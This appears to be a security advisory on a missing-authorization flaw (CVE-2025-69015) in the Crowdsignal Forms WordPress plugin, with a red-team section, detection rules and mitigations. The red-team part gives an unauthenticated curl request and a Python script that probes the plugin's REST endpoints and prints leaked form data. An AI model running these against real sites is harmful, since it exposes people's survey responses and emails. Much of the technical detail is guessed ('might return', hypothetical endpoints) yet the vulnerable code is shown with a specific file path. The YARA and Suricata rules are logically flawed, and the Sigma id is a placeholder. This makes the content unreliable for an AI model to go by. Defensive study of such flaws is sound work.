CVE-2025-69015

Executive Summary

CVE-2025-69015 is a Missing Authorization vulnerability in the Automattic Crowdsignal Forms WordPress plugin (versions <= 1.7.2). This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access or manipulation. The vulnerability is classified as low severity (CVSS 3.8) due to its limited impact on confidentiality, but it poses a risk to WordPress sites using the plugin for form submissions and polling.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem, specifically the crowdsignal-forms plugin distributed via the official WordPress plugin repository. Since the patch status is unknown, users must rely on manual mitigation or disabling the plugin until a fix is released. No known supply chain attacks have been reported, but the lack of a patch increases the risk of exploitation in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 3.8 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: None
• Availability Impact: None

The low score reflects the limited impact (only confidentiality), but the ease of exploitation (no authentication required) makes it a viable target for automated scanning and data harvesting.

Deep Dive & Mechanics

The vulnerability resides in the access control logic of the Crowdsignal Forms plugin. The plugin fails to properly validate user permissions when processing certain API endpoints or form submission handlers. Specifically, the crowdsignal-forms plugin uses a nonce-based or role-based check that is either missing or incorrectly implemented, allowing unauthenticated users to access or modify form data.

Root Cause: The plugin does not enforce current_user_can() checks or proper capability validation before executing sensitive operations (e.g., viewing form submissions, modifying form settings, or accessing poll results). This is a classic CWE-862: Missing Authorization flaw.

Attack Vector: An attacker can send crafted HTTP requests to the WordPress REST API or AJAX endpoints exposed by the plugin. For example, a GET request to /wp-json/crowdsignal/v1/results might return form submission data without authentication.

Impact: Unauthorized access to form submissions, poll results, or user data collected via Crowdsignal forms. This could lead to data leakage of sensitive information (e.g., email addresses, survey responses).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is present in all versions <= 1.7.2. A hypothetical patch would involve adding capability checks:

Vulnerable Code (PHP):

// In crowdsignal-forms/includes/class-crowdsignal-api.php
public function get_results( $request ) {
    $form_id = $request->get_param( 'form_id' );
    // Missing authorization check
    $results = $this->db->get_results( $form_id );
    return rest_ensure_response( $results );
}

Patched Code (Hypothetical):

public function get_results( $request ) {
    $form_id = $request->get_param( 'form_id' );
    if ( ! current_user_can( 'edit_posts' ) ) {
        return new WP_Error( 'rest_forbidden', 'You do not have permission to access this data.', array( 'status' => 403 ) );
    }
    $results = $this->db->get_results( $form_id );
    return rest_ensure_response( $results );
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with Crowdsignal Forms plugin <= 1.7.2 installed and active.
• A publicly accessible form or poll.

Exploitation Steps:

1. Identify the REST API endpoint for Crowdsignal (e.g., /wp-json/crowdsignal/v1/forms).
2. Send an unauthenticated GET request to retrieve form data:

   curl -X GET "http://target.com/wp-json/crowdsignal/v1/forms/1/results" -H "Accept: application/json"
   

3. If successful, the response will contain form submissions or poll results.

Automated Scanning: Use a simple Python script to enumerate endpoints:

import requests

target = "http://target.com"
endpoints = [
    "/wp-json/crowdsignal/v1/forms",
    "/wp-json/crowdsignal/v1/results",
    "/wp-json/crowdsignal/v1/polls"
]

for ep in endpoints:
    r = requests.get(target + ep)
    if r.status_code == 200:
        print(f"[+] Vulnerable endpoint: {ep}")
        print(r.text[:500])

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual GET/POST requests to /wp-json/crowdsignal/v1/* from unauthenticated sources.
• Look for spikes in API calls to form-related endpoints.

Mitigation:

• Disable the plugin until a patch is released.
• Use a Web Application Firewall (WAF) to block unauthenticated access to /wp-json/crowdsignal/v1/*.
• Implement a custom plugin to add capability checks (if you have developer resources).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-json/crowdsignal/v1/ without authentication headers.
  • Repeated 200 responses from Crowdsignal API endpoints for unauthenticated users.
• File IOCs:
  • Modified or new log entries in WordPress debug log (wp-content/debug.log) showing REST API access.
• Behavioral IOCs:
  • Unauthorized access to form submission data in the WordPress admin dashboard.

Detection Engineering

YARA Rule

rule crowdsignal_missing_auth {
    meta:
        description = "Detects missing authorization in Crowdsignal Forms plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69015"
    strings:
        $func1 = "get_results" ascii
        $func2 = "crowdsignal" ascii
        $func3 = "rest_ensure_response" ascii
    condition:
        all of ($func*) and #func1 > 0
}

Sigma Rule

title: Crowdsignal Forms Missing Authorization
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthenticated access to Crowdsignal Forms API endpoints
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/wp-json/crowdsignal/v1/'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate authenticated users (if any)
level: medium

Suricata Rule

alert http any any -> any any (msg:"Crowdsignal Forms Missing Authorization Attempt"; flow:to_server; http.method; content:"GET"; http.uri; content:"/wp-json/crowdsignal/v1/"; startswith; http.response_body; content:"form_id"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Monitor logs for unauthorized API access.
3. Apply a WAF rule to block unauthenticated requests to /wp-json/crowdsignal/v1/*.

Long-term Fix:

• Wait for an official patch from Automattic.
• If you have developer resources, fork the plugin and add current_user_can() checks to all REST API endpoints.

Workaround:

• Use a plugin like "WP REST API Authentication" to require authentication for all REST API requests.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert